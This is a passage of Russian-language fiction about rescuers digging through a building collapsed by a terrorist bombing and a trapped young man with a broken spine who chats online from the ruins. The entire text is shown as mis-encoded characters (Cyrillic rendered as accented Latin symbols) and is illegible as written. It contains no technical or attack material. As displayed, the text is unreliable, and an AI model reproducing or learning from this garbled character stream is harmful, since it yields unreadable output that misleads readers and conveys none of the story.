øèñü, ïîáåæàë íàçàä. Îíè áûñòðî âåðíóëèñü, Òåïëÿêîâ ïî
äîðîãå ïàðó ðàç ñïîòêíóëñÿ, áîëüíî óäàðèâøèñü íîãîé è
äàæå çàõðîìàâ íà íåñêîëüêî ñåêóíä; áóëüäîçåð ïî èõ êî-
ìàíäå ìåäëåííî, ñëîâíî ëèñò ñòåêëà, ïîòÿíóë ëåæàâøóþ ó
êðàÿ çàâàëà ïëèòó. Ïîêàçàëñÿ îâàë ëèöà, íàïîëîâèíó
ñêðûòûé êðîâàâûì ïÿòíîì.

� Ñòîé! � óñïåë êðèêíóòü Òåïëÿêîâ ïðåæäå, ÷åì ñâåðõó
ñòàëè ñûïàòüñÿ êóñêè áåòîíà. Ìàøèíà çàìåðëà. Îí ïîäîá-
ðàëñÿ ñáîêó, âíèìàòåëüíî âñìîòðåëñÿ òóäà, ãäå ëåæàë ÷å-
ëîâåê, ìàõíóë çà ñïèíó íàïàðíèêó è ïðèíÿëñÿ îïðåäåëÿòü,
â êàêóþ ñòîðîíó òÿíóòü ïëèòó, ÷òîáû íå ïðè÷èíèòü ÷åëîâå-
êó áîëüøèõ ñòðàäàíèé. Òåì âðåìåíåì íàïàðíèê ïîäïîëç ê
ïîñòðàäàâøåìó ïî÷òè âïëîòíóþ, íàøàðèë â àïòå÷êå íà ïî-
ÿñå øïðèö-òþáèê, ñíÿë êîëïà÷îê è, âûòÿíóâ ðóêó äî õðóñòà
â ïëå÷å, ïîñòàðàëñÿ äîòÿíóòüñÿ äî ðàíåíîãî. Òåïëÿêîâ çà-
ìåð; àðìàòóðà ðÿäîì ñèëüíî ðàñêà÷èâàëàñü, ãðîçÿ ðóõíóòü
â ñàìûé íåïîäõîäÿùèé ìîìåíò.

Ðóêà ñî øïðèöåì çàìåðëà íà ïîëïóòè. Ïîòîì íàïàðíèê
ìåäëåííî âåðíóë åå, íàäåë êîëïà÷îê íà èãëó è ñóíóë íà-
çàä. Òåïëÿêîâ ñêðèïíóë çóáàìè.

� Òÿíè! � ìàõíóë îí ðóêîé áóëüäîçåðèñòó. Òîò íå ñòàë
äîëãî ðàçäóìûâàòü; òðîñ íàòÿíóëñÿ, ïëèòà ïîïîëçëà â ñòî-
ðîíó. Îòêóäà-òî ñâåðõó ðóõíóë ïîêîðåæåííûé äèâàí � Òåï-
ëÿêîâ åäâà óñïåë óâåðíóòüñÿ è îòñêî÷èòü â ñòîðîíó. Êòî-òî
çàêðè÷àë èç-çà ñïèíû: «Áåðåãèñü!»

� ×òî òàì, Àíäðåé? � ñïðîñèë Òåïëÿêîâ ó ïîäîøåäøåãî
íàïàðíèêà. Òîò ïîñìîòðåë íàçàä, òóäà, ãäå ïëèòà ïðî÷åðòè-
ëà â çåìëå ÷åðíóþ ãëóáîêóþ ïîëîñó, ïîòîì ñêàçàë, íå ïî-
âîðà÷èâàÿñü:

� Òàì íèêîãî íå áûëî� æèâîãî�
� ß âèäåë ëèöî, � ñêàçàë Òåïëÿêîâ. � Ïðàâäà, îíî áûëî

çàëèòî êðîâüþ, íî�
� Òàì áûëî� òîëüêî ëèöî. Îäíà ëèøü ãîëîâà. »
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Ðåáÿòà íà áåãó íàäåâàëè êàñêè è
ïðèñîåäèíÿëèñü ê òåì, êòî óæå
ïðèáûë íà ìåñòî òðàãåäèè èëè

íàõîäèëñÿ çäåñü ñ ñàìîãî íà÷àëà.



Òåïëÿêîâ ñàì íå ïîíÿë, çà÷åì îí êèâíóë, ïîòîì òèõî
ïîõëîïàë Àíäðåÿ ïî ïëå÷ó è âíîâü íàïðàâèëñÿ ê ðàçâàëè-
íàì.

Òàì óæå âîâñþ ðàáîòàëà áðèãàäà ñ ñîáàêàìè. Ïñû ìåòà-
ëèñü ïî áåòîííîé êàøå, âîðî÷àÿ íîñàìè ðàçíûå òðÿïêè,
ðàçðûâàÿ ëàïàìè òî, ÷òî áûëè â ñèëàõ ðàñøåâåëèòü. Ñëå-
äîì çà êàæäîé øëî ïî äâà ñïàñàòåëÿ, îòìå÷àþùèå ôëàæ-
êàìè ïîäîçðèòåëüíûå ìåñòà.

Íà ïîäúåçäíûõ ïóòÿõ ïîêàçàëîñü åùå äâà êðàíà è îäèí
ýêñêàâàòîð, äîñòàâëåííûé íà òðåéëåðå. Òåïëÿêîâ óêàçàë
Àíäðåþ íà áëèæàéøèé ê íèì ôëàæîê, òðåïûõàâøèéñÿ íà
âåòðó. Òîò ñîãëàñíî êèâíóë ãîëîâîé, îíè âûòàùèëè èç-çà
ïîÿñà ìàëåíüêèå êèðêè, ïîïðàâèëè ëàðèíãîôîíû è äâèíó-
ëèñü â åãî íàïðàâëåíèè. Î÷åíü õîòåëîñü âûòàùèòü õîòÿ áû
åùå îäíîãî ÷åëîâåêà; íî â òî, ÷òî òàì åñòü æèâûå, âåðè-
ëîñü ñ òðóäîì.

********

�Äèìêà íå ïîíÿë, ÷òî ñëó÷èëîñü ïîòîì � ñëèøêîì óæ
ñèëüíûì áûë óäàð, ïðèøåäøèéñÿ è ïî ãëàçàì, è ïî óøàì.
Íåáî è çåìëÿ ïîìåíÿëèñü ìåñòàìè, ÷òî-òî î÷åíü áîëüíî
óäàðèëî ñíèçó ïî íîãàì, à ïåðèëà, êðåïêèå æåëåçíûå ïåðè-
ëà åäâà íå îáåðíóëèñü âîêðóã åãî ãðóäè, ñëîâíî âåðåâî÷-
íûå. Êàêîé-òî òóìàí, îñÿçàåìûé, ðåæóùèé âñå òåëî íåâèäè-
ìûìè áðèòâàìè, îêóòàë åãî. Ïëîñêîñòè è âåðòèêàëè ïåðåñ-
òàëè ñóùåñòâîâàòü, ñòåíû, ïîë è ïîòîëîê ïðåâðàòèëèñü â
áîëüøèå âîðîòà â íåáî, êîòîðîå âðàùàëîñü ïåðåä íèì
áûñòðûì è ìîíîòîííûì êàëåéäîñêîïîì ñ äâóìÿ öâåòàìè �
ãîëóáûì è áåëûì.

Îí âäðóã óâèäåë, êàê ñòåíû åãî êâàðòèðû, ñëîâíî êàð-
òîííûå, âàëÿòñÿ êóäà-òî âíèç, ê âõîäó â ïîäúåçä; êàê èñ÷åç
åãî áàëêîí, òî ëè âçìûâ â íåáî, òî ëè ðóõíóâ ñëåäîì çà ñòå-
íàìè. Îí óñëûøàë ìíîæåñòâî êðèêîâ, äîíîñÿùèõñÿ ñðàçó
îòîâñþäó; íåîæèäàííî ñáîêó îòêðûëàñü ÷óæàÿ êâàðòèðà,
ñëîâíî åùå îäíà áîëüøàÿ êîìíàòà äîáàâèëàñü ê æèëèùó
Äèìêè � ýòî ïåðåñòàëà ñóùåñòâîâàòü ñòåíà, ðàçäåëÿâøàÿ
åãî è ñîñåäåé. Â êîìíàòå ñîñåäåé ðàñêà÷èâàëàñü èç ñòîðî-
íû â ñòîðîíó ÿðêàÿ ëþñòðà ñ ìíîæåñòâîì ãðîìêî áðåí÷à-
ùèõ ïîäâåñîê; âíåçàïíî îíà ñîðâàëàñü ñ êðþêà è äîëæíà
áûëà ðàçáèòüñÿ îá ïîë, íî ïîëà óæå íå áûëî. Ñîñåä â òåì-
íî-êîðè÷íåâîì ïîëîñàòîì õàëàòå âñêðèêíóë è âäðóã èñ÷åç
âìåñòå ñ ïëèòîé, óøåäøåé âíèç. Ñëåäîì çà íèì ñîñêîëüç-
íóëè, ñëîâíî ïî ëüäó, äèâàí è íåñêîëüêî øêàôîâ ñ ïîñó-
äîé.

Íà êàêîå-òî ìãíîâåíèå ê Äèìêå âåðíóëîñü ïîíèìàíèå
òîãî, ãäå âåðõ, à ãäå íèç. Îí îêàçàëñÿ ñ íîã äî ãîëîâû îïó-
òàí òîíêîé áåëîé øòîðîé, êîòîðóþ ïðèíÿë çà óêðûâøèé
åãî òóìàí. Íà ïàðó ñåêóíä îí çàìåð ïîñðåäè ðàçðóøåííîé
êâàðòèðû, ëèøèâøåéñÿ áàëêîíà è ñòåíû, ê êîòîðîé áàëêîí
áûë ïðèêðåïëåí. Ïåðåêîøåííûé ïîë çàñòàâëÿë ñèëüíî âû-
ãèáàòüñÿ â ñòîðîíó, íàä ãîëîâîé ñêðèïåë ÷óäîì óäåðæàâ-
øèéñÿ àáàæóð. 

Äèìêà áîÿëñÿ íå òî ÷òî ïîøåâåëèòüñÿ � ïðîñòî âäîõ-
íóòü, îæèäàÿ, ÷òî èìåííî ýòîãî íå õâàòàåò äîìó äëÿ òîãî,
÷òîáû ïîëíîñòüþ ðàçâàëèòüñÿ. Ñáîêó ñêðèïíóë øêàô;
Äèìêà ñêîñèë íà íåãî ãëàçà. Ñëåäîì çà çâóêîì îí óëîâèë
äâèæåíèå � ðàñïàõíóëàñü, ñëîâíî íåõîòÿ, îäíà äâåðöà, çà-
òåì âòîðàÿ, ðîíÿÿ íà ïîë âåøàëêè ñ ðóáàøêàìè è ïîñòåëü-
íûå ïðèíàäëåæíîñòè.

Ãäå-òî äàëåêî çàâûëà ñèðåíà, ïîòîì åùå îäíà. Äèìà ïå-
ðåíåñ âåñ òåëà íà äðóãóþ íîãó, â ãîëîâå ñîçðåëà ìûñëü:
«Äâåðü!» Íàäî áûëî âûáèðàòüñÿ. Íî åäâà îí ñäåëàë ïåð-
âûå øàãè âãëóáü êîìíàòû, êàê îòêóäà-òî ñíèçó, áóäòî èçäà-
ëåêà, ñòàë íàðàñòàòü øóì, êàê áóäòî ïðèáëèæàëñÿ ïîåçä.
Äèìêà ñ øèðîêî ðàñêðûòûìè ãëàçàìè îñòàíîâèëñÿ ðÿäîì ñ

êîìïüþòåðíûì ñòîëîì è çà÷åì-òî ïîëîæèë ðóêó íà ñïèíêó
êðåñëà. È êîãäà îí ïîíÿë, ÷òî ïîë óõîäèò ó íåãî èç-ïîä íîã,
îí ïðûãíóë êóäà-òî ââåðõ, ñòàðàÿñü óõâàòèòüñÿ çà âîçäóõ�

Ñïóñòÿ ñåêóíäó ïëèòà, îáðàçóþùàÿ ïîë â åãî êâàðòèðå,
îáëîìèâøèñü ïî÷òè ó ñàìîãî êðàÿ è âûñòàâèâ íàðóæó ïî-
êîðåæåííûå óñû àðìàòóðû, óïàëà è ñìåøàëàñü ñ íåñêîëü-
êèìè òàêèìè æå ïëèòàìè â îñíîâàíèè ïîäúåçäà. Ïîòîëîê
ïðîâèñ, ñëîâíî ðåçèíîâûé; èñïûòûâàþùèé ñòðàøíûå íàï-
ðÿæåíèÿ ìàòåðèàë çàòðåùàë, íî âûäåðæàë. ×åðåç ïàðó
ìãíîâåíèé îáëîìèëñÿ è îí, óíîñÿ çà ñîáîé âñå, ÷òî îñòà-
ëîñü îò Äèìêèíîé êâàðòèðû, êðîìå ìàëåíüêîãî óãîëêà ñ
êîìïüþòåðíûì ñòîëîì è êðåñëîì, íà êîòîðîì îãëóøåííûé,
íî æèâîé, ñâåðíóâøèñü â íåìûñëèìîé ïîçå, ëåæàë ñàì
Äèìêà.

Âîçäóõ, íàñûùåííûé ãóñòîé áåòîííîé ïûëüþ, ðâàëñÿ â
ëåãêèå. Äèìêà îòêàøëÿëñÿ äàëåêî íå ñ ïåðâîé ïîïûòêè,
âûïëåâûâàÿ èç ñåáÿ ÷óòü ëè íå êóñêè áåòîíà. Ãëàçà ñàìè
íàøëè ãäå-òî â óãîëêàõ îáðàçîâàâøåãîñÿ êàìåííîãî ãðîáà
òî÷êè, èç êîòîðûõ âíóòðü ïðîáèâàëñÿ ñâåò ñ óëèöû. Îí ïî-
ïûòàëñÿ ïîíÿòü, ãäå æå îí è â êàêîé ïîçå ëåæèò. Òî, ÷òî
ïîä íèì êîæàíîå êðåñëî ñ øèðîêîé ìÿãêîé ñïèíêîé, áûëî
ïîíÿòíî. Íî êàê â íåì ïîâåðíóòüñÿ, ÷òîáû òàê íå áîëåëà
ïîÿñíèöà�

Äèìêà ñäåëàë íåñêîëüêî ïîïûòîê ïîâåðíóòü ñåáÿ â
êðåñëå � áåçðåçóëüòàòíî. È âî âðåìÿ îäíîé èç íèõ, óæå îò-
÷àÿâøèñü, ÷òî òàê è ïðîñèäèò â ýòîé ìîãèëå ÷óòü ëè íå
ââåðõ íîãàìè äî ïðèõîäà ñïàñàòåëåé (à â èõ ïðèõîäå îí íè
ñåêóíäû íå ñîìíåâàëñÿ!), îí âäðóã çàìåòèë, ÷òî îòêóäà-òî
ñáîêó ïðîáèâàåòñÿ ñâåò. Îí âûãíóë øåþ.

� Îõ, íè õðåíà ñåáå! � ñ òðóäîì ïðîèçíåñ îí îõðèïøèì
îò íàäñàäíîãî êàøëÿ ãîëîñîì, âèäÿ, ÷òî êîìïüþòåð, öåëûé
è íåâðåäèìûé, îñòàëñÿ âêëþ÷åííûì � ñóäÿ ïî âñåìó, êàêèå-
òî êàáåëè, îòâåòñòâåííûå çà îñâåùåíèå ïîäúåçäà, íå ïîâ-
ðåäèëèñü. � Òîæå âàðèàíò�

Ïîøåâåëèâ ïëå÷àìè, îí ñóìåë ïîâåðíóòüñÿ ê ýêðàíó áî-
êîì, ïîòîì âûòàùèë èç-ïîä ñåáÿ ðóêó è ïîëîæèë åå íà
ñòîë, óñåÿííûé áåòîííîé êðîøêîé. Ìûøêà ñâèñàëà ñî ñòî-
ëà íà ïðîâîäå � îñòàâàëîñü íàäåÿòüñÿ, ÷òî îíà íå ïîñòðà-
äàëà.

� Âåäü ÿ� ÿ ìîãó äàòü î ñåáå çíàòü! � ïðîèçíåñ îí â òè-
øèíå ñâîåãî êàìåííîãî ñàðêîôàãà. � Åñëè, êîíå÷íî, òåëå-
ôîííûå ïðîâîäà òîæå íå ïîîáðûâàëî�

Îñòàâàëîñü íàäåÿòüñÿ íà òî, ÷òî êîðîá äëÿ ýëåêòðîïðî-
âîäêè è òåëåôîííûõ êàáåëåé áûë îäèí. Âçãëÿä ñàì ñêîëüç-
íóë â òðåé, ãäå ãîðåë çíà÷îê îñòàâøåãîñÿ â æèâûõ ïîäêëþ-
÷åíèÿ, íà äðóãîì êîíöå êîòîðîãî ñèäåëà ñåé÷àñ íåâåäîìàÿ
Äàíà â îæèäàíèè ñîáåñåäíèêà.

«Íó, òàê íà êîãî òû õî÷åøü áûòü ïîõîæèì?» � ïðî÷èòàë
Äèìêà åå âîïðîñ, ïðèøåäøèé ïåðåä ñàìûì âçðûâîì, îá-
ëèçíóë ïåðåñîõøèå ãóáû, ïðîòÿíóë ïðàâóþ ðóêó ê êëàâèà-
òóðå è åäâà õîòåë íàáðàòü îòâåò, êàê âäðóã îòêóäà-òî èç îá-
ëàñòè ïîÿñíèöû ïðèøëà æóòêàÿ, èñïåïåëÿþùàÿ, íå îñòàâ-
ëÿþùàÿ íèêàêèõ íàäåæä ÁÎËÜ� Îí, ñëîâíî ùåíîê, âçâèçã-
íóë îò ýòîãî ïðèñòóïà, ïîòîì ðåçêî ïåðåøåë íà õðèï, ãëàçà
øèðîêî ðàñêðûëèñü, âåíû íà øåå è âèñêàõ ñòàëè ïîõîæèìè
íà êàíàòû�

Ïðèñòóï ïðîäîëæàëñÿ íå áîëåå íåñêîëüêèõ ñåêóíä.
Óøåë îí òàê æå âíåçàïíî, êàê è ïîÿâèëñÿ, îñòàâèâ î ñåáå
ïàìÿòü â âèäå ÷àñòîãî ïóëüñà, ìîêðûõ ëàäîíåé è óæàñà, íå-
ïåðåäàâàåìîãî è íåïîâòîðèìîãî. Äèìêà ïîïûòàëñÿ óëûá-
íóòüñÿ ñàìîìó ñåáå è ïîäáîäðèòü õîòü êàêèì-íèáóäü ñëî-
âîì, íî âñå çâóêè çàñòðÿëè ó íåãî â ãîðëå âìåñòå ñ ïûëüþ,
êîãäà îí ïîïûòàëñÿ ïîøåâåëèòü íîãàìè. ÎÍ ÏÎÍßË, ×ÒÎ Ó
ÍÅÃÎ ÑËÎÌÀÍÀ ÑÏÈÍÀ.

Ãëàçà çàêðûëèñü, çàáûòüå îêóòàëî åãî. Âîïðîñ Äàíû îñ-
òàëñÿ áåç îòâåòà. 

�Îí ñ òðóäîì ïîíÿë, ÷òî ïðèøåë â ñåáÿ. Ãëàçà, ñëèïøè-
åñÿ îò ïîòà, ñ òðóäîì ðàñêðûëèñü. Äàæå òî êîëè÷åñòâî ñâå-
òà, ÷òî ïîïàäàëî â åãî êàìåííóþ ëîâóøêó, ðåçàíóëî çðà÷-
êè, îí ñîùóðèëñÿ è îò÷åòëèâî óâèäåë ïåðåä ñîáîé ýêðàí
êîìïüþòåðà, ïî êîòîðîìó ëåòàëè îãðîìíûå öèôðû, óêàçû-
âàþùèå âðåìÿ.

� Äâàäöàòü òðèäöàòü ñåìü, � ïðîøåïòàë Äèìêà. � Ñêîðî
ñïàòü ëîæèòüñÿ�
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Äèìêà áîÿëñÿ íå òî ÷òî
ïîøåâåëèòüñÿ � ïðîñòî

âäîõíóòü.



Îí øåâåëüíóë çàòåêøèìè ðóêàìè, çàöåïèë ìûøêó.
Öèôðû ìãíîâåííî èñ÷åçëè ñ ýêðàíà, ïîêàçàâ ñîäåðæèìîå
ðàáî÷åãî ñòîëà è èçäåâàòåëüñêóþ â òåïåðåøíåé ñèòóàöèè
îáîèíó ñ Êàðìåí Ýëåêòðà è åå îáíàæåííûì áþñòîì. Äèìêà
íåñêîëüêî ðàç çàæìóðèë è ðàñêðûë ãëàçà, ñòàðàÿñü íàñòðî-
èòü ôîêóñ êàê ìîæíî òî÷íåå. Ïîñòåïåííî îí ïðèâûê ê òåì-
íîòå è ïîïûòàëñÿ ðàññìîòðåòü, ãäå æå îí îêàçàëñÿ. Óãîë
êîìíàòû, â êîòîðîì ñòîÿë åãî òðåõýòàæíûé êîìïüþòåðíûé
ñòîë, óöåëåë. Ïîõîæå, åäèíñòâåííûé èç âñåõ óãëîâ åãî
êâàðòèðû � âñå îñòàëüíîå áëàãîïîëó÷íî ïðîâàëèëîñü â
òàðòàðàðû�

� Áåí Ëàäåíû õðåíîâû, � ñêâîçü çóáû ïðîöåäèë Äèìêà,
âûòåðåâ ñî ëáà êðîøêè, ïåðåìåøàííûå ñ ïîòîì. � Õîòü áû
èì ÷òî-íèáóäü òîæå íà áàøêó óïàëî� Ñâîëî÷è!

×àñòü ïîòîëêà, îáëîìèâøèñü è èçîãíóâøèñü íà àðìàòó-
ðå, îáðàçîâàëà íàä íèì íåêîå ïîäîáèå òðåóãîëüíîãî øàò-
ðà, íàãëóõî çàêðûâ åãî ñçàäè îò îáðàçîâàâøåéñÿ ïðîïàñòè
ãëóáèíîé â øåñòü ýòàæåé. È ïîïóòíî � âî âðåìÿ åãî êóëüáè-
òà â êðåñëî � ñëîìàëà åìó ïîçâîíî÷íèê.

Âîëåé ñóäüáû îí óöåëåë, óöåëåë, ÷òîáû íå èìåòü ïðåäñ-
òàâëåíèÿ î òîì, óâèäèò ëè îí êîãäà-íèáóäü ñîëíå÷íûé ñâåò.
Äèìêà ïîêðóòèë ãîëîâîé � îñòîðîæíî, ÷òîáû íå âçìåòíóëàñü
îò ïîÿñíèöû ê ìîçãó åùå îäíà âîëíà áîëè. Â øåå ÷òî-òî
õðóñòíóëî � Äèìêà íàïðÿãñÿ è åäâà íå êðèêíóë, � è íàñòóïèëî
êàêîå-òî áëàãîñòíîå ñîñòîÿíèå, êîòîðîå ïîñåùàåò óìèðàþ-
ùèõ â ðåäêèå ìèíóòû áåç áîëè, êîãäà ñíîâà õî÷åòñÿ æèòü�

Äèìà âçãëÿíóë íà ìîíèòîð. Äàíà ïî-ïðåæíåìó áûëà îí-
ëàéí. Îí âçäîõíóë, ìåäëåííî è ãëóáîêî, ñòàðàÿñü íå íàäû-
øàòüñÿ âèñÿùåé â âîçäóõå ïûëè, à ïîòîì óêàçàòåëüíûì
ïàëüöåì ïðàâîé ðóêè áûñòðî íàáðàë: 

� Òû ãäå æèâåøü?
� Â Ìîñêâå, � ïðèøåë ÷åðåç ïàðó ìèíóò îòâåò. Äèìêà

ïðî÷èòàë åãî, êèâíóë è ïðîäîëæèë:
� Ðàéîí?
� Ìàðüèíà ðîùà, � ñíîâà äîñòàòî÷íî áûñòðî îòâåòèëà

Äàíà.
� Ìîæåò áûòü, íå âðåò, � ñêàçàë ñàì ñåáå Äèìêà. � Îíà

îòâåòèëà áûñòðî, à çíà÷èò ìàøèíàëüíî. 
� Ó ìåíÿ òóò ïðîáëåìà íàðèñîâàëàñü, � îòñòó÷àë îí. À

ïîòîì ïîäóìàë: êàê îí åé îá ýòîì ðàññêàæåò? Âîò ïðîñòî
âîçüìåò è ñêàæåò, ÷òî ïîä íèì òîëüêî ÷òî ïîë ïðîâàëèëñÿ?

Îí íà ñåêóíäó ïðåäñòàâèë ñåáÿ íà ìåñòå Äàíû: êàê íåê-
òî èç îíëàéíà øëåò åìó ïîäîáíîå çàÿâëåíèå î òåðàêòå,
ðóõíóâøèõ ñòåíàõ è ïðî÷óþ åðóíäó.

� Âðÿä ëè ÿ ñðàçó áû ïîâåðèë, � ñêåïòè÷åñêè ñêàçàë îí
ñàì ñåáå è âäðóã ïîíÿë îäíó î÷åíü èíòåðåñíóþ âåùü.
Âåùü íàñòîëüêî ëþáîïûòíóþ, ÷òî íà êàêîå-òî âðåìÿ îí çà-
áûë î Äàíå è Ìàðüèíîé ðîùå.

ÎÍ ÂÎÎÁÙÅ ÍÅ ÏÎÄÄÀËÑß ÏÀÍÈÊÅ. Îí íå ñòàë äèêî
îðàòü â íàäåæäå, ÷òî êòî-íèáóäü åãî óñëûøèò; îí íå ñòàë
ïûòàòüñÿ ïðîèçâîäèòü øóì, ñòó÷àòü â ñòåíû, íå ñòàë ïîë-
çàòü ïî ñâîåé ëîâóøêå â ïîèñêàõ âûõîäà. Îí âîñïðèíÿë
âñå ïðîèñõîäÿùåå êàê ýêñòðèì, íå áîëåå òîãî. Îí ïûòàåòñÿ
îáùàòüñÿ ñ êåì-òî ïî èíòåðíåòó ïîñëå òîãî, êàê ÷åëîâåê
ïÿòüäåñÿò èëè áîëåå áûëè ðàçäàâëåíû íåñ÷åòíûì âåñîì
áåòîííûõ ïëèò; îí äàæå íå æäåò ïîìîùè, ïîñêîëüêó íè íà
ñåêóíäó íå ñîìíåâàåòñÿ â åå ïîÿâëåíèè.

È êàê òîëüêî îí ýòî ïîíÿë, ïàíèêà îõâàòèëà åãî. Ñåðäöå
çàñòó÷àëî áåçóìíîé ïòèöåé, ìîìåíòàëüíî âçìîêëè ëàäîíè
è ïåðåñîõëè ãóáû. Ãëàçà çàìåòàëèñü âî òüìå, ïîñòîÿííî íà-
òûêàÿñü íà ÿðêèé ïðÿìîóãîëüíèê ýêðàíà.

� Ìíå äîëæíû ïîìî÷ü, ìåíÿ âûòàùàò, âûòàùàò, � çàáîð-
ìîòàë îí, íå èìåÿ ñèë çàêðè÷àòü è ïîìíÿ î òîì, ÷òî êðèê
ìîæåò âûçâàòü íîâûé ïðèñòóï áîëè â ñïèíå. � Îíè ïðèäóò�

Îí ñâÿòî âåðèë â òðè áóêâû � «Ì×Ñ». Îí, êàê è âñå, êòî
ñìîòðèò òåëåâèçîð, çíàë � ïðèäóò, îòêîïàþò, ñïàñóò. Âîò
òîëüêî äîæèâåò ëè îí ñàì äî ýòîãî, Äèìêà, êîíå÷íî æå, íå
çíàë.

Ðóêè ñàìè óïàëè íà êëàâèàòóðó.

********

Òåëî íà îáëîìêå ïëèòû íà óðîâíå òðåòüåãî ýòàæà îíè
óâèäåëè ïî÷åìó-òî íå ñðàçó. Âðîäå áû è ñâåò áèë òóäà

íåïðåðûâíî, è ëþäè, ðàáîòàâøèå íà ñàìîé âåðøèíå çà-
âàëà, áûëè îò íåãî â ïàðå ìåòðîâ � è, òåì íå ìåíåå, ÷åëî-
âåê ïðîëåæàë òàì ïî÷òè ñîðîê ìèíóò ïîñëå ïðèáûòèÿ êî-
ìàíäû, ïðåæäå ÷åì îäíà èç ñîáàê íà ñàìîé âåðõîòóðå, åä-
âà íå ïðîâàëèâàÿñü â ïðîìåæóòêè ìåæäó ïîêîðåæåííû-
ìè áåòîííûìè áëîêàìè, âäðóã íå çàäðàëà ãîëîâó êâåðõó è
íå çàâûëà.

Íåñêîëüêî ñïàñàòåëåé êèíóëè íà ñîáàêó ñåðäèòûå
âçãëÿäû, ñ÷èòàÿ, ÷òî æèâîòíîå äîëæíî áûòü îáó÷åíî ðàáî-
òàòü ìîë÷à è íå ïðîÿâëÿòü ñâîèõ ñîáà÷üèõ ýìîöèé ïî îòíî-
øåíèþ ê ìåðòâûì. Òåïëÿêîâ ñî âñåìè, êòî ñòîÿë ðÿäîì, òî-
æå ïîñìîòðåë íà îâ÷àðêó è ïîíÿë, ÷òî îíà íå ïðîñòî âîåò �
îíà óêàçûâàåò âñåì íà ÷òî-òî.

Êðèêíóâ ïðîæåêòîðèñòó, ÷òîáû òîò ïîïðàâèë ëó÷, îí
ïðèáëèçèëñÿ ê ó÷àñòêó, íà êîòîðîì òåïåðü âèäåë ÷òî-òî
ñòðàííîå, ïîõîæåå íà íîãó, ñâèñàþùóþ ñ ñàìîãî êðàÿ ïëè-
òû. Ñâåò ñïóñòÿ ïàðó ñåêóíä ïîïîëç â ñòîðîíó, âûäåëèë â
æåëòûé êðóã ëèíèþ òðåòüåãî ýòàæà, è Òåïëÿêîâ óâèäåë òàì
÷åëîâåêà, ëåæàùåãî, ïîõîæå, íà ñïèíå, íà ñàìîì êðàþ áåçî
âñÿêîãî äâèæåíèÿ.

Ñïàñàòåëü ðâàíóëñÿ ââåðõ, íà õîäó ðàçìàòûâàÿ íà ïîÿ-
ñå âåðåâêó è ãîòîâÿ àëüïèíèñòñêîå ñíàðÿæåíèå. Äîáðàòüñÿ
äî ïîñòðàäàâøåãî áûëî äåëîì íåõèòðûì � ñëîæíåå áûëî
íà ìåñòå îêàçàòü êàêóþ-òî ïîìîùü è ñïóñòèòü òåëî âíèç, íå
íàíåñÿ åìó íèêàêèõ äðóãèõ ïîâðåæäåíèé.

� Àíäðåé, íàëàæèâàé ñïóñê! � êðèêíóë îí íàïàðíèêó. Òîò
âûçâàë ïîäìîãó, îäèí èç êðàíîâ ïðîòÿíóë ê Òåïëÿêîâó
ñòðåëó, íî äîñòàòü âïëîòíóþ íå ñóìåë. Òåïëÿêîâ óãðþìî
ïîñìîòðåë íà ðàñêà÷èâàþùóþñÿ â äâóõ ìåòðàõ îò íåãî
ëåñòíèöó è îòðèöàòåëüíî ïîêà÷àë ãîëîâîé.

Òåì âðåìåíåì íàâåðõ ê íåìó ïîäàëè ùèò; Òåïëÿêîâ îñ-
ìîòðåë ðàíåíîãî ìóæ÷èíó, îòìåòèë ó íåãî ïåðåëîìû ðóê,
âêîëîë íàðêîòèê èç àïòå÷êè è, ñèäÿ íà ñàìîì êðàþ ïëèòû,
ïðèíÿëñÿ ïðèëàæèâàòü ùèò ïîä ñïèíó ïîñòðàäàâøåãî.
Ìóæ÷èíà èçðåäêà èçäàâàë òîíêèå, íåìóæñêèå ñòîíû, âû-
íóæäàÿ Òåïëÿêîâà ðàáîòàòü îñòîðîæíî è îäíîâðåìåííî
ñïåøèòü; îí î÷åíü áîÿëñÿ íå óñïåòü ñïóñòèòü ðàíåíîãî
âíèç.

Çàâÿçûâàÿ óçëû íàä òåëîì ïîñòðàäàâøåãî è ïðèêðåï-
ëÿÿ åãî êàê ìîæíî íàäåæíåå ê ùèòó, îí ïîãëÿäûâàë ïî ñòî-
ðîíàì. Ðàáîòà ïî ñïàñåíèþ øëà óæå ïîëíûì õîäîì; âíèçó
ðàçâåðíóëñÿ øòàá áðèãàäû Ì×Ñ, îòêóäà øëî îáùåå ðóêî-
âîäñòâî îïåðàöèåé. Îêîëî äâàäöàòè áðèãàä «Ñêîðîé ïîìî-
ùè» íîñèëèñü âçàä-âïåðåä, îòïðàâëÿÿ ðàíåíûõ â áëèæàé-
øèå áîëüíèöû. Óöåëåâøèå æèëüöû äîìà áûëè âûâåäåíû
èç ñâîèõ êâàðòèð è ðàñïîëîæåíû ïðèìåðíî â ïîëóêèëîìåò-
ðå îò ìåñòà ïðîèñøåñòâèÿ íà áåðåãó îçåðà; âîçëå íèõ íåîò-
ëó÷íî äåæóðèëà ïàðà áðèãàä ìåäèêîâ è íàðÿä ìèëèöèè.

Ñ äåñÿòîê ôëàæêîâ íà çàâàëå áûëî åùå íå îáñëåäîâà-
íî. Òåïëÿêîâ ïðåäñòàâèë ñåáå, ÷òî òàì, âíóòðè, ïîä ýòèìè
ïëèòàìè ëåæàò ëþäè, îæèäàþùèå ïîìîùè; åìó çàõîòåëîñü
ñâîèìè ðóêàìè çàäóøèòü òó ñâîëî÷ü, ÷òî âçîðâàëà çäåñü
áîìáó. Íàéòè è çàäóøèòü, ÷òîáû âèäåòü, êàê â åãî ãëàçàõ
ñòðàõ ñìåðòè ñìåíÿåòñÿ òóìàíîì, êàê ñèíååò ëèöî, êàê âûñ-
òóïàåò ïåíà íà ãóáàõ� Íî íèêàêàÿ ñìåðòü òåððîðèñòà íå
ñðàâíèòñÿ ñ òåì, ÷òî òâîðèòñÿ ñåé÷àñ çäåñü, íà ýòèõ ðàçâà-
ëèíàõ, íèêàêàÿ ñìåðòü íå âåðíåò ê æèçíè òåõ, êòî îñòàëñÿ
ïîãðåáåí òóò è êîãî ñìîãóò âûòàùèòü � Òåïëÿêîâ ïðåêðàñíî
çíàë ñòàòèñòèêó � íå ðàíåå âòîðûõ-òðåòüèõ ñóòîê îò íà÷àëà
ñïàñàòåëüíûõ ðàáîò.

Òàì, ïîä ôëàæêàìè, ëåæàëè ñåé÷àñ òå, êòî æèë íà ñà-
ìûõ âåðõíèõ ýòàæàõ è íà êîãî óïàëî íå òàê óæ è ìíîãî
ïëèò; îñíîâíàÿ æå ìàññà ëþäåé, ïåðâûå òðè-÷åòûðå ýòàæà,
îêàçàëàñü ïîõîðîíåííîé íà áîëüøîé ãëóáèíå. Âîò ê îäíîé
